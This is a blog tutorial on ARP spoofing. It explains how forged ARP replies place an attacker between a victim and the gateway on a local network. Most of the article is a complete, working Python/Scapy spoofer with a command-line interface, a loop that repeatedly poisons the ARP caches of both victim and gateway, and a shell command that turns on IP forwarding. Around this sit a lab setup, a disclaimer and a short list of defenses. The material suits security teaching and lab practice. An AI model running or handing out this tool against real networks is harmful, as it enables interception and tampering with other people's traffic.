- Published on
Pwn The Network - How to perform an ARP spoof attack
ARP Spoofing: Performing a Man-in-the-Middle Attack with Python
A Man-in-the-Middle (MITM) attack is a classic technique where an attacker secretly intercepts and manipulates communication between two devices that believe they are talking directly to each other. This allows the attacker to monitor, modify, or inject malicious data into the conversation.
One common way to achieve MITM on a local network is through ARP spoofing. In this article, we’ll explain how ARP spoofing works and walk through building a Python-based ARP spoofer using Scapy.
⚠️ Disclaimer: This article is for educational purposes only. Running ARP spoofing attacks on networks you do not own or have explicit permission to test is illegal. Always practice in controlled lab environments.
1. What is ARP Spoofing?
The Address Resolution Protocol (ARP) maps IP addresses to physical MAC addresses so devices on a LAN can talk to each other. For example:
- Host A wants to reach the gateway (192.168.56.100).
- It broadcasts: “Who owns 192.168.56.100?”
- The gateway replies with its MAC address.
- Host A stores this in its ARP cache.
In an ARP spoofing attack, the attacker sends forged ARP replies to trick a target into associating the wrong MAC address with an IP. For example, the attacker tells the victim:
“I am 192.168.56.100 (the gateway). Send your traffic to me.”
At the same time, the attacker can trick the gateway into thinking the attacker is the victim. Result: all traffic between victim and gateway flows through the attacker.
2. Lab Setup
In this demo:
- Attacker →
192.168.56.102 - Target →
192.168.56.101 - Gateway →
192.168.56.100
Before the attack: ARP tables look normal
| Device | IP Address | MAC Address |
|---|---|---|
| Attacker | 192.168.56.102 | 08:00:27:85:47:4e |
| Target | 192.168.56.101 | 08:00:27:8a:47:f5 |
| Gateway | 192.168.56.100 | 08:00:27:ea:7b:5a |
After launching the spoof
The target’s ARP table now points gateway IP → attacker MAC. Any traffic from the victim to the gateway first goes through the attacker.
We can verify this by pinging the gateway from the target and inspecting packets with Wireshark on the attacker’s machine. The ICMP requests and replies are clearly routed through the attacker.
3. Writing the ARP Spoofer in Python
We’ll use Scapy to craft and send ARP replies.
Dependencies
pip install scapy
Step 1: Get a target’s MAC address
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
return answered_list[0][1].src
return None
Step 2: Spoof ARP responses
def spoof(host_ip, host_mac, gateway_ip, gateway_mac):
packet1 = scapy.ARP(op=2, pdst=host_ip, hwdst=host_mac, psrc=gateway_ip)
packet2 = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=host_ip)
scapy.send(packet1, verbose=False)
scapy.send(packet2, verbose=False)
Step 3: Restore ARP tables when done
def restore(host_ip, host_mac, gateway_ip, gateway_mac):
packet1 = scapy.ARP(op=2, pdst=host_ip, hwdst=host_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
packet2 = scapy.ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac,
psrc=host_ip, hwsrc=host_mac)
scapy.send(packet1, verbose=False)
scapy.send(packet2, verbose=False)
Step 4: Main logic
import argparse, subprocess, time
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", required=True, help="Target IP")
parser.add_argument("-g", "--gateway", required=True, help="Gateway IP")
args = parser.parse_args()
target_mac = get_target_mac(args.target)
gateway_mac = get_target_mac(args.gateway)
subprocess.call("echo 1 > /proc/sys/net/ipv4/ip_forward", shell=True)
packet_count = 0
try:
while True:
spoof(args.target, target_mac, args.gateway, gateway_mac)
packet_count += 2
print(f"\r[+] Sent {packet_count} packets", end="")
time.sleep(3)
except KeyboardInterrupt:
subprocess.call("echo 0 > /proc/sys/net/ipv4/ip_forward", shell=True)
restore(args.target, target_mac, args.gateway, gateway_mac)
print("\n[+] Spoofing stopped. Network restored.")
Run it like this:
python arp-spoof.py -t 192.168.56.101 -g 192.168.56.100
4. Defending Against ARP Spoofing
ARP spoofing is powerful but not unstoppable. Defenses include:
- Use HTTPS and TLS → Encrypt traffic so interception is useless.
- Enable static ARP entries for critical devices (e.g., servers, routers).
- Network monitoring/IDS → Tools like
arpwatchor IDS signatures detect ARP anomalies. - Segmentation → Limit attack scope with VLANs and strong access control.
Conclusion
In this tutorial, we built a Python tool that performs ARP spoofing to establish a Man-in-the-Middle position on a LAN. This demonstrates why ARP is such a critical protocol to secure and why modern defenses like encryption and IDS are necessary.
🔗 Full code: GitHub Repo